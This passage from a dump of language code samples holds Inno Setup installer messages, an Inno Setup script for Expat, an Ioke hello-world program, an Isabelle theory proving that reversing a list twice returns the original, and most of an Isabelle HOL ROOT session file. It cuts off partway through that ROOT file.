failed with exit code %1\nErrorRegisterTypeLib=Unable to register the type library: %1\n\n; *** Uninstall display name markings\n; used for example as 'My Program (32-bit)'\nUninstallDisplayNameMark=%1 (%2)\n; used for example as 'My Program (32-bit, All users)'\nUninstallDisplayNameMarks=%1 (%2, %3)\nUninstallDisplayNameMark32Bit=32-bit\nUninstallDisplayNameMark64Bit=64-bit\nUninstallDisplayNameMarkAllUsers=All users\nUninstallDisplayNameMarkCurrentUser=Current user\n\n; *** Post-installation errors\nErrorOpeningReadme=An error occurred while trying to open the README file.\nErrorRestartingComputer=Setup was unable to restart the computer. Please do this manually.\n\n; *** Uninstaller messages\nUninstallNotFound=File \"%1\" does not exist. Cannot uninstall.\nUninstallOpenError=File \"%1\" could not be opened. Cannot uninstall\nUninstallUnsupportedVer=The uninstall log file \"%1\" is in a format not recognized by this version of the uninstaller. Cannot uninstall\nUninstallUnknownEntry=An unknown entry (%1) was encountered in the uninstall log\nConfirmUninstall=Are you sure you want to completely remove %1 and all of its components?\nUninstallOnlyOnWin64=This installation can only be uninstalled on 64-bit Windows.\nOnlyAdminCanUninstall=This installation can only be uninstalled by a user with administrative privileges.\nUninstallStatusLabel=Please wait while %1 is removed from your computer.\nUninstalledAll=%1 was successfully removed from your computer.\nUninstalledMost=%1 uninstall complete.%n%nSome elements could not be removed. These can be removed manually.\nUninstalledAndNeedsRestart=To complete the uninstallation of %1, your computer must be restarted.%n%nWould you like to restart now?\nUninstallDataCorrupted=\"%1\" file is corrupted. Cannot uninstall\n\n; *** Uninstallation phase messages\nConfirmDeleteSharedFileTitle=Remove Shared File?\nConfirmDeleteSharedFile2=The system indicates that the following shared file is no longer in use by any programs. Would you like for Uninstall to remove this shared file?%n%nIf any programs are still using this file and it is removed, those programs may not function properly. If you are unsure, choose No. Leaving the file on your system will not cause any harm.\nSharedFileNameLabel=File name:\nSharedFileLocationLabel=Location:\nWizardUninstalling=Uninstall Status\nStatusUninstalling=Uninstalling %1...\n\n; *** Shutdown block reasons\nShutdownBlockReasonInstallingApp=Installing %1.\nShutdownBlockReasonUninstallingApp=Uninstalling %1.\n\n; The custom messages below aren't used by Setup itself, but if you make\n; use of them in your scripts, you'll want to translate them.\n\n[CustomMessages]\n\nNameAndVersion=%1 version %2\nAdditionalIcons=Additional shortcuts:\nCreateDesktopIcon=Create a &desktop shortcut\nCreateQuickLaunchIcon=Create a &Quick Launch shortcut\nProgramOnTheWeb=%1 on the Web\nUninstallProgram=Uninstall %1\nLaunchProgram=Launch %1\nAssocFileExtension=&Associate %1 with the %2 file extension\nAssocingFileExtension=Associating %1 with the %2 file extension...\nAutoStartProgramGroupDescription=Startup:\nAutoStartProgram=Automatically start %1\nAddonHostProgramNotFound=%1 could not be located in the folder you selected.%n%nDo you want to continue anyway?\n"
  },
  {
    "path": "samples/Inno Setup/expat.iss",
    "content": "; Basic setup script for the Inno Setup installer builder.  For more\n; information on the free installer builder, see www.jrsoftware.org.\n;\n; This script was contributed by Tim Peters.\n; It was designed for Inno Setup 2.0.19 but works with later versions as well.\n\n[Setup]\nAppName=Expat\nAppId=expat\nAppVersion=2.1.0\nAppVerName=Expat 2.1.0\nAppCopyright=Copyright 1998-2012 Thai Open Source Software Center, Clark Cooper, and the Expat maintainers\nAppPublisher=The Expat Developers\nAppPublisherURL=http://www.libexpat.org/\nAppSupportURL=http://www.libexpat.org/\nAppUpdatesURL=http://www.libexpat.org/\nUninstallDisplayName=Expat XML Parser 2.1.0\nVersionInfoVersion=2.1.0\n\nDefaultDirName={pf}\\Expat 2.1.0\nUninstallFilesDir={app}\\Uninstall\n\nCompression=lzma\nSolidCompression=yes\nSourceDir=..\nOutputDir=win32\nDisableStartupPrompt=yes\nAllowNoIcons=yes\nDisableProgramGroupPage=yes\nDisableReadyPage=yes\n\n[Files]\nFlags: ignoreversion; Source: win32\\bin\\Release\\xmlwf.exe;  DestDir: \"{app}\\Bin\"\nFlags: ignoreversion; Source: win32\\MANIFEST.txt;           DestDir: \"{app}\"\nFlags: ignoreversion; Source: Changes;                      DestDir: \"{app}\"; DestName: Changes.txt\nFlags: ignoreversion; Source: COPYING;                      DestDir: \"{app}\"; DestName: COPYING.txt\nFlags: ignoreversion; Source: README;                       DestDir: \"{app}\"; DestName: README.txt\nFlags: ignoreversion; Source: doc\\*.html;                   DestDir: \"{app}\\Doc\"\nFlags: ignoreversion; Source: doc\\*.css;                    DestDir: \"{app}\\Doc\"\nFlags: ignoreversion; Source: doc\\*.png;                    DestDir: \"{app}\\Doc\"\nFlags: ignoreversion; Source: win32\\bin\\Release\\*.dll;      DestDir: \"{app}\\Bin\"\nFlags: ignoreversion; Source: win32\\bin\\Release\\*.lib;      DestDir: \"{app}\\Bin\"\nFlags: ignoreversion; Source: expat.dsw;                    DestDir: \"{app}\\Source\"\nFlags: ignoreversion; Source: win32\\README.txt;             DestDir: \"{app}\\Source\"\nFlags: ignoreversion; Source: bcb5\\*.bp*;                   DestDir: \"{app}\\Source\\bcb5\"\nFlags: ignoreversion; Source: bcb5\\*.mak;                   DestDir: \"{app}\\Source\\bcb5\"\nFlags: ignoreversion; Source: bcb5\\*.def;                   DestDir: \"{app}\\Source\\bcb5\"\nFlags: ignoreversion; Source: bcb5\\*.txt;                   DestDir: \"{app}\\Source\\bcb5\"\nFlags: ignoreversion; Source: bcb5\\*.bat;                   DestDir: \"{app}\\Source\\bcb5\"\nFlags: ignoreversion; Source: lib\\*.c;                      DestDir: \"{app}\\Source\\lib\"\nFlags: ignoreversion; Source: lib\\*.h;                      DestDir: \"{app}\\Source\\lib\"\nFlags: ignoreversion; Source: lib\\*.def;                    DestDir: \"{app}\\Source\\lib\"\nFlags: ignoreversion; Source: lib\\*.dsp;                    DestDir: \"{app}\\Source\\lib\"\nFlags: ignoreversion; Source: examples\\*.c;                 DestDir: \"{app}\\Source\\examples\"\nFlags: ignoreversion; Source: examples\\*.dsp;               DestDir: \"{app}\\Source\\examples\"\nFlags: ignoreversion; Source: tests\\*.c;                    DestDir: \"{app}\\Source\\tests\"\nFlags: ignoreversion; Source: tests\\*.cpp;                  DestDir: \"{app}\\Source\\tests\"\nFlags: ignoreversion; Source: tests\\*.h;                    DestDir: \"{app}\\Source\\tests\"\nFlags: ignoreversion; Source: tests\\README.txt;             DestDir: \"{app}\\Source\\tests\"\nFlags: ignoreversion; Source: tests\\benchmark\\*.c;          DestDir: \"{app}\\Source\\tests\\benchmark\"\nFlags: ignoreversion; Source: tests\\benchmark\\*.ds*;        DestDir: \"{app}\\Source\\tests\\benchmark\"\nFlags: ignoreversion; Source: tests\\benchmark\\README.txt;   DestDir: \"{app}\\Source\\tests\\benchmark\"\nFlags: ignoreversion; Source: xmlwf\\*.c*;                   DestDir: \"{app}\\Source\\xmlwf\"\nFlags: ignoreversion; Source: xmlwf\\*.h;                    DestDir: \"{app}\\Source\\xmlwf\"\nFlags: ignoreversion; Source: xmlwf\\*.dsp;                  DestDir: \"{app}\\Source\\xmlwf\"\n\n[Messages]\nWelcomeLabel1=Welcome to the Expat XML Parser Setup Wizard\nWelcomeLabel2=This will install [name/ver] on your computer.%n%nExpat is an XML parser with a C-language API, and is primarily made available to allow developers to build applications which use XML using a portable API and fast implementation.%n%nIt is strongly recommended that you close all other applications you have running before continuing. This will help prevent any conflicts during the installation process.\n"
  },
  {
    "path": "samples/Ioke/hello.ik",
    "content": "#!/usr/bin/env ioke\n\n\"Hello world.\" println\n"
  },
  {
    "path": "samples/Isabelle/HelloWorld.thy",
    "content": "theory HelloWorld\nimports Main\nbegin\n\nsection{*Playing around with Isabelle*}\n\ntext{* creating a lemma with the name hello_world*}\nlemma hello_world: \"True\" by simp\n\n(*inspecting it*)\nthm hello_world\n\ntext{* defining a string constant HelloWorld *}\n\ndefinition HelloWorld :: \"string\" where\n  \"HelloWorld \\<equiv> ''Hello World!''\"\n\n(*reversing HelloWorld twice yilds HelloWorld again*)\ntheorem \"rev (rev HelloWorld) = HelloWorld\"\n  by (fact List.rev_rev_ident)\n\ntext{*now we delete the already proven List.rev_rev_ident lema and show it by hand*}\ndeclare List.rev_rev_ident[simp del]\nhide_fact List.rev_rev_ident\n\n(*It's trivial since we can just 'execute' it*)\ncorollary \"rev (rev HelloWorld) = HelloWorld\"\n  apply(simp add: HelloWorld_def)\n  done\n\ntext{*does it hold in general?*}\ntheorem rev_rev_ident:\"rev (rev l) = l\"\n  proof(induction l)\n  case Nil thus ?case by simp\n  next\n  case (Cons l ls)\n    assume IH: \"rev (rev ls) = ls\"\n    have \"rev (l#ls) = (rev ls) @ [l]\" by simp\n    hence \"rev (rev (l#ls)) = rev ((rev ls) @ [l])\" by simp\n    also have \"\\<dots> = [l] @ rev (rev ls)\" by simp\n    finally show \"rev (rev (l#ls)) = l#ls\" using IH by simp\n  qed\n\ncorollary \"\\<forall>(l::string). rev (rev l) = l\" by(fastforce intro: rev_rev_ident)\n\nend\n"
  },
  {
    "path": "samples/Isabelle ROOT/filenames/ROOT",
    "content": "chapter HOL\n\nsession HOL (main) = Pure +\n  description {*\n    Classical Higher-order Logic.\n  *}\n  options [document_graph]\n  global_theories\n    Main\n    Complex_Main\n  files\n    \"Tools/Quickcheck/Narrowing_Engine.hs\"\n    \"Tools/Quickcheck/PNF_Narrowing_Engine.hs\"\n  document_files\n    \"root.bib\"\n    \"root.tex\"\n\nsession \"HOL-Proofs\" = Pure +\n  description {*\n    HOL-Main with explicit proof terms.\n  *}\n  options [document = false, quick_and_dirty = false]\n  theories Proofs (*sequential change of global flag!*)\n  theories \"~~/src/HOL/Library/Old_Datatype\"\n  files\n    \"Tools/Quickcheck/Narrowing_Engine.hs\"\n    \"Tools/Quickcheck/PNF_Narrowing_Engine.hs\"\n\nsession \"HOL-Library\" (main) in Library = HOL +\n  description {*\n    Classical Higher-order Logic -- batteries included.\n  *}\n  theories\n    Library\n    (*conflicting type class instantiations*)\n    List_lexord\n    Sublist_Order\n    Product_Lexorder\n    Product_Order\n    Finite_Lattice\n    (*data refinements and dependent applications*)\n    AList_Mapping\n    Code_Binary_Nat\n    Code_Char\n    Code_Prolog\n    Code_Real_Approx_By_Float\n    Code_Target_Numeral\n    DAList\n    DAList_Multiset\n    RBT_Mapping\n    RBT_Set\n    (*legacy tools*)\n    Refute\n    Old_Datatype\n    Old_Recdef\n    Old_SMT\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Hahn_Banach\" in Hahn_Banach = HOL +\n  description {*\n    Author:     Gertrud Bauer, TU Munich\n\n    The Hahn-Banach theorem for real vector spaces.\n\n    This is the proof of the Hahn-Banach theorem for real vectorspaces,\n    following H. Heuser, Funktionalanalysis, p. 228 -232. The Hahn-Banach\n    theorem is one of the fundamental theorems of functional analysis. It is a\n    conclusion of Zorn's lemma.\n\n    Two different formaulations of the theorem are presented, one for general\n    real vectorspaces and its application to normed vectorspaces.\n\n    The theorem says, that every continous linearform, defined on arbitrary\n    subspaces (not only one-dimensional subspaces), can be extended to a\n    continous linearform on the whole vectorspace.\n  *}\n  options [document_graph]\n  theories Hahn_Banach\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Induct\" in Induct = HOL +\n  description {*\n    Examples of (Co)Inductive Definitions.\n\n    Comb proves the Church-Rosser theorem for combinators (see\n    http://www.cl.cam.ac.uk/ftp/papers/reports/TR396-lcp-generic-automatic-proof-tools.ps.gz).\n\n    Mutil is the famous Mutilated Chess Board problem (see\n    http://www.cl.cam.ac.uk/ftp/papers/reports/TR394-lcp-mutilated-chess-board.dvi.gz).\n\n    PropLog proves the completeness of a formalization of propositional logic\n    (see\n    http://www.cl.cam.ac.uk/Research/Reports/TR312-lcp-set-II.ps.gz).\n\n    Exp demonstrates the use of iterated inductive definitions to reason about\n    mutually recursive relations.\n  *}\n  theories [document = false]\n    \"~~/src/HOL/Library/Old_Datatype\"\n  theories [quick_and_dirty]\n    Common_Patterns\n  theories\n    QuoDataType\n    QuoNestedDataType\n    Term\n    SList\n    ABexp\n    Tree\n    Ordinals\n    Sigma_Algebra\n    Comb\n    PropLog\n    Com\n  document_files \"root.tex\"\n\nsession \"HOL-IMP\" in IMP = HOL +\n  options [document_graph, document_variants=document]\n  theories [document = false]\n    \"~~/src/Tools/Permanent_Interpretation\"\n    \"~~/src/HOL/Library/While_Combinator\"\n    \"~~/src/HOL/Library/Char_ord\"\n    \"~~/src/HOL/Library/List_lexord\"\n    \"~~/src/HOL/Library/Quotient_List\"\n    \"~~/src/HOL/Library/Extended\"\n  theories\n    BExp\n    ASM\n    Finite_Reachable\n    Denotational\n    Compiler2\n    Poly_Types\n    Sec_Typing\n    Sec_TypingT\n    Def_Init_Big\n    Def_Init_Small\n    Fold\n    Live\n    Live_True\n    Hoare_Examples\n    VCG\n    Hoare_Total\n    Collecting1\n    Collecting_Examples\n    Abs_Int_Tests\n    Abs_Int1_parity\n    Abs_Int1_const\n    Abs_Int3\n    \"Abs_Int_ITP/Abs_Int1_parity_ITP\"\n    \"Abs_Int_ITP/Abs_Int1_const_ITP\"\n    \"Abs_Int_ITP/Abs_Int3_ITP\"\n    \"Abs_Int_Den/Abs_Int_den2\"\n    Procs_Dyn_Vars_Dyn\n    Procs_Stat_Vars_Dyn\n    Procs_Stat_Vars_Stat\n    C_like\n    OO\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-IMPP\" in IMPP = HOL +\n  description {*\n    Author:     David von Oheimb\n    Copyright   1999 TUM\n\n    IMPP -- An imperative language with procedures.\n\n    This is an extension of IMP with local variables and mutually recursive\n    procedures. For documentation see \"Hoare Logic for Mutual Recursion and\n    Local Variables\" (http://isabelle.in.tum.de/Bali/papers/FSTTCS99.html).\n  *}\n  options [document = false]\n  theories EvenOdd\n\nsession \"HOL-Import\" in Import = HOL +\n  options [document_graph]\n  theories HOL_Light_Maps\n  theories [condition = HOL_LIGHT_BUNDLE] HOL_Light_Import\n\nsession \"HOL-Number_Theory\" in Number_Theory = HOL +\n  description {*\n    Fundamental Theorem of Arithmetic, Chinese Remainder Theorem, Fermat/Euler\n    Theorem, Wilson's Theorem, some lemmas for Quadratic Reciprocity.\n  *}\n  options [document_graph]\n  theories [document = false]\n    \"~~/src/HOL/Library/FuncSet\"\n    \"~~/src/HOL/Library/Multiset\"\n    \"~~/src/HOL/Algebra/Ring\"\n    \"~~/src/HOL/Algebra/FiniteProduct\"\n  theories\n    Pocklington\n    Gauss\n    Number_Theory\n    Euclidean_Algorithm\n  document_files\n    \"root.tex\"\n\nsession \"HOL-Old_Number_Theory\" in Old_Number_Theory = HOL +\n  description {*\n    Fundamental Theorem of Arithmetic, Chinese Remainder Theorem, Fermat/Euler\n    Theorem, Wilson's Theorem, Quadratic Reciprocity.\n  *}\n  options [document_graph]\n  theories [document = false]\n    \"~~/src/HOL/Library/Infinite_Set\"\n    \"~~/src/HOL/Library/Permutation\"\n  theories\n    Fib\n    Factorization\n    Chinese\n    WilsonRuss\n    WilsonBij\n    Quadratic_Reciprocity\n    Primes\n    Pocklington\n  document_files\n    \"root.bib\"\n    \"root.tex\"\n\nsession \"HOL-Hoare\" in Hoare = HOL +\n  description {*\n    Verification of imperative programs (verification conditions are generated\n    automatically from pre/post conditions and loop invariants).\n  *}\n  theories Hoare\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Hoare_Parallel\" in Hoare_Parallel = HOL +\n  description {*\n    Verification of shared-variable imperative programs a la Owicki-Gries.\n    (verification conditions are generated automatically).\n  *}\n  options [document_graph]\n  theories Hoare_Parallel\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Codegenerator_Test\" in Codegenerator_Test = \"HOL-Library\" +\n  options [document = false, document_graph = false, browser_info = false]\n  theories\n    Generate\n    Generate_Binary_Nat\n    Generate_Target_Nat\n    Generate_Efficient_Datastructures\n    Generate_Pretty_Char\n  theories [condition = ISABELLE_GHC]\n    Code_Test_GHC\n  theories [condition = ISABELLE_MLTON]\n    Code_Test_MLton\n  theories [condition = ISABELLE_OCAMLC]\n    Code_Test_OCaml\n  theories [condition = ISABELLE_POLYML]\n    Code_Test_PolyML\n  theories [condition = ISABELLE_SCALA]\n    Code_Test_Scala\n  theories [condition = ISABELLE_SMLNJ]\n    Code_Test_SMLNJ\n\nsession \"HOL-Metis_Examples\" in Metis_Examples = HOL +\n  description {*\n    Author:     Lawrence C Paulson, Cambridge University Computer Laboratory\n    Author:     Jasmin Blanchette, TU Muenchen\n\n    Testing Metis and Sledgehammer.\n  *}\n  options [document = false]\n  theories\n    Abstraction\n    Big_O\n    Binary_Tree\n    Clausification\n    Message\n    Proxies\n    Tarski\n    Trans_Closure\n    Sets\n\nsession \"HOL-Nitpick_Examples\" in Nitpick_Examples = HOL +\n  description {*\n    Author:     Jasmin Blanchette, TU Muenchen\n    Copyright   2009\n  *}\n  options [document = false]\n  theories [quick_and_dirty] Nitpick_Examples\n\nsession \"HOL-Algebra\" (main) in Algebra = HOL +\n  description {*\n    Author: Clemens Ballarin, started 24 September 1999\n\n    The Isabelle Algebraic Library.\n  *}\n  options [document_graph]\n  theories [document = false]\n    (* Preliminaries from set and number theory *)\n    \"~~/src/HOL/Library/FuncSet\"\n    \"~~/src/HOL/Number_Theory/Primes\"\n    \"~~/src/HOL/Number_Theory/Binomial\"\n    \"~~/src/HOL/Library/Permutation\"\n  theories\n    (*** New development, based on explicit structures ***)\n    (* Groups *)\n    FiniteProduct        (* Product operator for commutative groups *)\n    Sylow                (* Sylow's theorem *)\n    Bij                  (* Automorphism Groups *)\n\n    (* Rings *)\n    Divisibility         (* Rings *)\n    IntRing              (* Ideals and residue classes *)\n    UnivPoly             (* Polynomials *)\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Auth\" in Auth = HOL +\n  description {*\n    A new approach to verifying authentication protocols.\n  *}\n  options [document_graph]\n  theories\n    Auth_Shared\n    Auth_Public\n    \"Smartcard/Auth_Smartcard\"\n    \"Guard/Auth_Guard_Shared\"\n    \"Guard/Auth_Guard_Public\"\n  document_files \"root.tex\"\n\nsession \"HOL-UNITY\" in UNITY = \"HOL-Auth\" +\n  description {*\n    Author:     Lawrence C Paulson, Cambridge University Computer Laboratory\n    Copyright   1998  University of Cambridge\n\n    Verifying security protocols using Chandy and Misra's UNITY formalism.\n  *}\n  options [document_graph]\n  theories\n    (*Basic meta-theory*)\n    \"UNITY_Main\"\n\n    (*Simple examples: no composition*)\n    \"Simple/Deadlock\"\n    \"Simple/Common\"\n    \"Simple/Network\"\n    \"Simple/Token\"\n    \"Simple/Channel\"\n    \"Simple/Lift\"\n    \"Simple/Mutex\"\n    \"Simple/Reach\"\n    \"Simple/Reachability\"\n\n    (*Verifying security protocols using UNITY*)\n    \"Simple/NSP_Bad\"\n\n    (*Example of composition*)\n    \"Comp/Handshake\"\n\n    (*Universal properties examples*)\n    \"Comp/Counter\"\n    \"Comp/Counterc\"\n    \"Comp/Priority\"\n\n    \"Comp/TimerArray\"\n    \"Comp/Progress\"\n\n    \"Comp/Alloc\"\n    \"Comp/AllocImpl\"\n    \"Comp/Client\"\n\n    (*obsolete*)\n    \"ELT\"\n  document_files \"root.tex\"\n\nsession \"HOL-Unix\" in Unix = HOL +\n  options [print_mode = \"no_brackets,no_type_brackets\"]\n  theories Unix\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-ZF\" in ZF = HOL +\n  theories MainZF Games\n  document_files \"root.tex\"\n\nsession \"HOL-Imperative_HOL\" in Imperative_HOL = HOL +\n  options [document_graph, print_mode = \"iff,no_brackets\"]\n  theories [document = false]\n    \"~~/src/HOL/Library/Countable\"\n    \"~~/src/HOL/Library/Monad_Syntax\"\n    \"~~/src/HOL/Library/LaTeXsugar\"\n  theories Imperative_HOL_ex\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Decision_Procs\" in Decision_Procs = HOL +\n  description {*\n    Various decision procedures, typically involving reflection.\n  *}\n  options [condition = ML_SYSTEM_POLYML, document = false]\n  theories Decision_Procs\n\nsession \"HOL-Proofs-ex\" in \"Proofs/ex\" = \"HOL-Proofs\" +\n  options [document = false, parallel_proofs = 0]\n  theories\n    Hilbert_Classical\n    XML_Data\n\nsession \"HOL-Proofs-Extraction\" in \"Proofs/Extraction\" = \"HOL-Proofs\" +\n  description {*\n    Examples for program extraction in Higher-Order Logic.\n  *}\n  options [condition = ML_SYSTEM_POLYML, parallel_proofs = 0, quick_and_dirty = false]\n  theories [document = false]\n    \"~~/src/HOL/Library/Code_Target_Numeral\"\n    \"~~/src/HOL/Library/Monad_Syntax\"\n    \"~~/src/HOL/Number_Theory/Primes\"\n    \"~~/src/HOL/Number_Theory/UniqueFactorization\"\n    \"~~/src/HOL/Library/State_Monad\"\n  theories\n    Greatest_Common_Divisor\n    Warshall\n    Higman_Extraction\n    Pigeonhole\n    Euclid\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Proofs-Lambda\" in \"Proofs/Lambda\" = \"HOL-Proofs\" +\n  description {*\n    Lambda Calculus in de Bruijn's Notation.\n\n    This session defines lambda-calculus terms with de Bruijn indixes and\n    proves confluence of beta, eta and beta+eta.\n\n    The paper \"More Church-Rosser Proofs (in Isabelle/HOL)\" describes the whole\n    theory (see http://www.in.tum.de/~nipkow/pubs/jar2001.html).\n  *}\n  options [document_graph, print_mode = \"no_brackets\", parallel_proofs = 0,\n    quick_and_dirty = false]\n  theories [document = false]\n    \"~~/src/HOL/Library/Code_Target_Int\"\n  theories\n    Eta\n    StrongNorm\n    Standardization\n    WeakNorm\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Prolog\" in Prolog = HOL +\n  description {*\n    Author:   David von Oheimb (based on a lecture on Lambda Prolog by Nadathur)\n\n    A bare-bones implementation of Lambda-Prolog.\n\n    This is a simple exploratory implementation of Lambda-Prolog in HOL,\n    including some minimal examples (in Test.thy) and a more typical example of\n    a little functional language and its type system.\n  *}\n  options [document = false]\n  theories Test Type\n\nsession \"HOL-MicroJava\" in MicroJava = HOL +\n  description {*\n    Formalization of a fragment of Java, together with a corresponding virtual\n    machine and a specification of its bytecode verifier and a lightweight\n    bytecode verifier, including proofs of type-safety.\n  *}\n  options [document_graph]\n  theories [document = false] \"~~/src/HOL/Library/While_Combinator\"\n  theories MicroJava\n  document_files\n    \"introduction.tex\"\n    \"root.bib\"\n    \"root.tex\"\n\nsession \"HOL-NanoJava\" in NanoJava = HOL +\n  description {*\n    Hoare Logic for a tiny fragment of Java.\n  *}\n  options [document_graph]\n  theories Example\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Bali\" in Bali = HOL +\n  options [document_graph]\n  theories\n    AxExample\n    AxSound\n    AxCompl\n    Trans\n  document_files \"root.tex\"\n\nsession \"HOL-IOA\" in IOA = HOL +\n  description {*\n    Author:     Tobias Nipkow and Konrad Slind and Olaf Müller\n    Copyright   1994--1996  TU Muenchen\n\n    The meta-theory of I/O-Automata in HOL. This formalization has been\n    significantly changed and extended, see HOLCF/IOA. There are also the\n    proofs of two communication protocols which formerly have been here.\n\n    @inproceedings{Nipkow-Slind-IOA,\n    author={Tobias Nipkow and Konrad Slind},\n    title={{I/O} Automata in {Isabelle/HOL}},\n    booktitle={Proc.\\ TYPES Workshop 1994},\n    publisher=Springer,\n    series=LNCS,\n    note={To appear}}\n    ftp://ftp.informatik.tu-muenchen.de/local/lehrstuhl/nipkow/ioa.ps.gz\n\n    and\n\n    @inproceedings{Mueller-Nipkow,\n    author={Olaf M\\\"uller and Tobias Nipkow},\n    title={Combining Model Checking and Deduction for {I/O}-Automata},\n    booktitle={Proc.\\ TACAS Workshop},\n    organization={Aarhus University, BRICS report},\n    year=1995}\n    ftp://ftp.informatik.tu-muenchen.de/local/lehrstuhl/nipkow/tacas.dvi.gz\n  *}\n  options [document = false]\n  theories Solve\n\nsession \"HOL-Lattice\" in Lattice = HOL +\n  description {*\n    Author:     Markus Wenzel, TU Muenchen\n\n    Basic theory of lattices and orders.\n  *}\n  theories CompleteLattice\n  document_files \"root.tex\"\n\nsession \"HOL-ex\" in ex = HOL +\n  description {*\n    Miscellaneous examples for Higher-Order Logic.\n  *}\n  options [condition = ML_SYSTEM_POLYML]\n  theories [document = false]\n    \"~~/src/HOL/Library/State_Monad\"\n    Code_Binary_Nat_examples\n    \"~~/src/HOL/Library/FuncSet\"\n    Eval_Examples\n    Normalization_by_Evaluation\n    Hebrew\n    Chinese\n    Serbian\n    \"~~/src/HOL/Library/FinFun_Syntax\"\n    \"~~/src/HOL/Library/Refute\"\n    \"~~/src/HOL/Library/Transitive_Closure_Table\"\n    Cartouche_Examples\n  theories\n    Adhoc_Overloading_Examples\n    Iff_Oracle\n    Coercion_Examples\n    Higher_Order_Logic\n    Abstract_NAT\n    Guess\n    Fundefs\n    Induction_Schema\n    LocaleTest2\n    Records\n    While_Combinator_Example\n    MonoidGroup\n    BinEx\n    Hex_Bin_Examples\n    Antiquote\n    Multiquote\n    PER\n    NatSum\n    ThreeDivides\n    Intuitionistic\n    CTL\n    Arith_Examples\n    BT\n    Tree23\n    Bubblesort\n    MergeSort\n    Lagrange\n    Groebner_Examples\n    MT\n    Unification\n    Primrec\n    Tarski\n    Classical\n    Set_Theory\n    Termination\n    Coherent\n    PresburgerEx\n    Reflection_Examples\n    Sqrt\n    Sqrt_Script\n    Transfer_Ex\n    Transfer_Int_Nat\n    Transitive_Closure_Table_Ex\n    HarmonicSeries\n    Refute_Examples\n    Execute_Choice\n    Gauge_Integration\n    Dedekind_Real\n    Quicksort\n    Birthday_Paradox\n    List_to_Set_Comprehension_Examples\n    Seq\n    Simproc_Tests\n    Executable_Relation\n    FinFunPred\n    Set_Comprehension_Pointfree_Examples\n    Parallel_Example\n    IArray_Examples\n    SVC_Oracle\n    Simps_Case_Conv_Examples\n    ML\n    SAT_Examples\n    SOS\n    SOS_Cert\n  theories [skip_proofs = false]\n    Meson_Test\n  theories [condition = SVC_HOME]\n    svc_test\n  theories [condition = ISABELLE_FULL_TEST]\n    Sudoku\n  document_files \"root.bib\" \"root.tex\"\n\nsession \"HOL-Isar_Examples\" in Isar_Examples = HOL +\n  description {*\n    Miscellaneous Isabelle/Isar examples for Higher-Order Logic.\n  *}\n  theories [document = false]\n    \"~~/src/HOL/Library/Lattice_Syntax\"\n    \"../Number_Theory/Primes\"\n  theories\n    Basic_Logic\n    Cantor\n    Drinker\n    Expr_Compiler\n    Fibonacci\n    Group\n    Group_Context\n    Group_Notepad\n    Hoare_Ex\n    Knaster_Tarski\n    Mutilated_Checkerboard\n    Nested_Datatype\n    Peirce\n    Puzzle\n    Summation\n  document_files\n    \"root.bib\"\n    \"root.tex\"\n    \"style.tex\"\n\nsession \"HOL-SET_Protocol\" in SET_Protocol = HOL +\n  description {*\n    Verification of the SET Protocol.\n  *}\n  options [document_graph]\n  theories [document = false] \"~~/src/HOL/Library/Nat_Bijection\"\n  theories SET_Protocol\n  document_files \"root.tex\"\n\nsession \"HOL-Matrix_LP\" in Matrix_LP = HOL +\n  description {*\n    Two-dimensional matrices and linear programming.\n  *}\n  options [document_graph]\n  theories Cplex\n  document_files \"root.tex\"\n\nsession \"HOL-TLA\" in TLA = HOL +\n  description {*\n    Lamport's Temporal Logic of Actions.\n  *}\n  options [document = false]\n  theories TLA\n\nsession \"HOL-TLA-Inc\" in \"TLA/Inc\" = \"HOL-TLA\" +\n  options [document = false]\n  theories Inc\n\nsession \"HOL-TLA-Buffer\" in \"TLA/Buffer\" = \"HOL-TLA\" +\n  options [document = false]\n  theories DBuffer\n\nsession \"HOL-TLA-Memory\" in \"TLA/Memory\" = \"HOL-TLA\" +\n  options [document = false]\n  theories MemoryImplementation\n\nsession \"HOL-TPTP\" in TPTP = HOL +\n  description {*\n    Author:     Jasmin Blanchette, TU Muenchen\n    Author:     Nik Sultana, University of Cambridge\n    Copyright   2011\n\n    TPTP-related extensions.\n  *}\n  options [document = false]\n  theories\n    ATP_Theory_Export\n    MaSh_Eval\n    TPTP_Interpret\n    THF_Arith\n    TPTP_Proof_Reconstruction\n  theories\n    ATP_Problem_Import\n\nsession \"HOL-Multivariate_Analysis\" (main) in Multivariate_Analysis = HOL +\n  options [document_graph]\n  theories\n    Multivariate_Analysis\n    Determinants\n    PolyRoots\n    Complex_Analysis_Basics\n  document_files\n    \"root.tex\"\n\nsession \"HOL-Probability\" in \"Probability\" = \"HOL-Multivariate_Analysis\" +\n  options [document_graph]\n  theories [document = false]\n    \"~~/src/HOL/Library/Countable\"\n    \"~~/src/HOL/Library/Permutation\"\n    \"~~/src/HOL/Library/Order_Continuity\"\n    \"~~/src/HOL/Library/Diagonal_Subsequence\"\n  theories\n    Probability\n    \"ex/Dining_Cryptographers\"\n    \"ex/Koepf_Duermuth_Countermeasure\"\n  document_files \"root.tex\"\n\nsession \"HOL-Nominal\" (main) in Nominal = HOL +\n  options [document = false]\n  theories Nominal\n\nsession \"HOL-Nominal-Examples\" in \"Nominal/Examples\" = \"HOL-Nominal\" +\n  options [condition = ML_SYSTEM_POLYML, document = false]\n  theories\n    Nominal_Examples_Base\n  theories [condition = ISABELLE_FULL_TEST]\n    Nominal_Examples\n  theories [quick_and_dirty]\n    VC_Condition\n\nsession \"HOL-Cardinals\" in Cardinals = HOL +\n  description {*\n    Ordinals and Cardinals, Full Theories.\n  *}\n  options [document = false]\n  theories Cardinals\n  document_files\n    \"intro.tex\"\n    \"root.tex\"\n    \"root.bib\"\n\nsession \"HOL-Datatype_Examples\" in Datatype_Examples = HOL +\n  description {*\n    (Co)datatype Examples, including large ones from John Harrison.\n  *}\n  options [document = false]\n  theories\n    \"~~/src/HOL/Library/Old_Datatype\"\n    Compat\n    Lambda_Term\n    Process\n    TreeFsetI\n    \"Derivation_Trees/Gram_Lang\"\n   